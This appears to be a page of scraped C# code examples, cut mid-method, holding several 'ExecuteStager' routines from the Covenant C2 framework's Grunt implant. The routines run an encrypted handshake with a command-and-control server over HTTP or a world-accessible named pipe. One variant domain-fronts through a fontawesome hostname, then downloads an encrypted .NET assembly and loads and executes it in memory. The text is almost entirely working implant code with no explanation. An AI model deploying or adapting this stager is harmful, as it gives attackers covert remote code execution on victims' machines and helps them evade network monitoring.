                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                /*byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                 * Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                 * gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });*/
                GruntExecutor.Grunt.Execute(CovenantURI
                                            , CovenantCertHash
                                            , GUID
                                            , SessionKey
                                            , ProfileHttpHeaderNames
                                            , ProfileHttpHeaderValues
                                            , ProfileHttpUrls
                                            , ProfileHttpPostRequest
                                            , ProfileHttpPostResponse
                                            , ProfileHttpPostResponse
                                            , ValidateCert
                                            , UseCertPinning);
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }
コード例 #5
0
        public void ExecuteStager()
        {
            try
            {
                string ProfileWriteFormat = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"<html>
    <head>
        <title>Hello World!</title>
    </head>
    <body>
        <p>Hello World!</p>
        // Hello World! {0}
    </body>
</html>".Replace(Environment.NewLine, "\n");
                string PipeName           = @"gruntsvc03";

                string aGUID         = @"70561c0536";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"SEBqh69S3vGjX+UQJ2smFjZCXejp3X0pMPh7I7tEuYI=");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse  = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                NamedPipeServerStream pipe  = null;
                string       Stage0Response = "";
                PipeSecurity ps             = new PipeSecurity();
                ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
                pipe = new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
                pipe.WaitForConnection();
                System.Threading.Thread.Sleep(5000);
                var Stage0Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage0Bytes);
                Stage0Response = Encoding.UTF8.GetString(Read(pipe));
                string extracted = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                var    Stage1Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Console.WriteLine("Stage 1");
                Write(pipe, Stage1Bytes);
                Stage1Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                var    Stage2Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Console.WriteLine("Stage 2");
                Write(pipe, Stage2Bytes);
                Stage2Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                /*byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                 * Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                 * gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName });*/
                GruntExecutor.Grunt.Execute(GUID
                                            , SessionKey
                                            , ProfileReadFormat
                                            , ProfileWriteFormat
                                            , pipe
                                            , PipeName);
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
コード例 #6
0
        public void ExecuteStager()
        {
            try
            {
                // ---------------------- configuration ----------------------
                string Addr = "staging.fontawesome.com"; // IP or Domain Name
                int    Port = 443;
                string SNI  = "img.fontawesome.com";
                // -----------------------------------------------------------

                string        CovenantCertHash        = @"{{REPLACE_COVENANT_CERT_HASH}}";
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"false");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                string Stage0Response      = "";
                var    wc = new HttpsClient(Addr, Port, SNI, ValidateCert, UseCertPinning, CovenantCertHash);
                Dictionary <string, string> headers = new Dictionary <string, string>();
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    headers[ProfileHttpHeaderNames[i].Replace("{GUID}", "")] = ProfileHttpHeaderValues[i].Replace("{GUID}", "");
                }
                wc.Get(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""), headers);
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    headers[ProfileHttpHeaderNames[i].Replace("{GUID}", GUID)] = ProfileHttpHeaderValues[i].Replace("{GUID}", GUID);
                }
                Stage0Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                Stage1Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                Stage2Response = wc.Post(ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse), headers);
                extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[1].GetMethods()[0].Invoke(null, new Object[] { Addr, Port, SNI, CovenantCertHash, GUID, SessionKey }); // Grunt.Execute
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }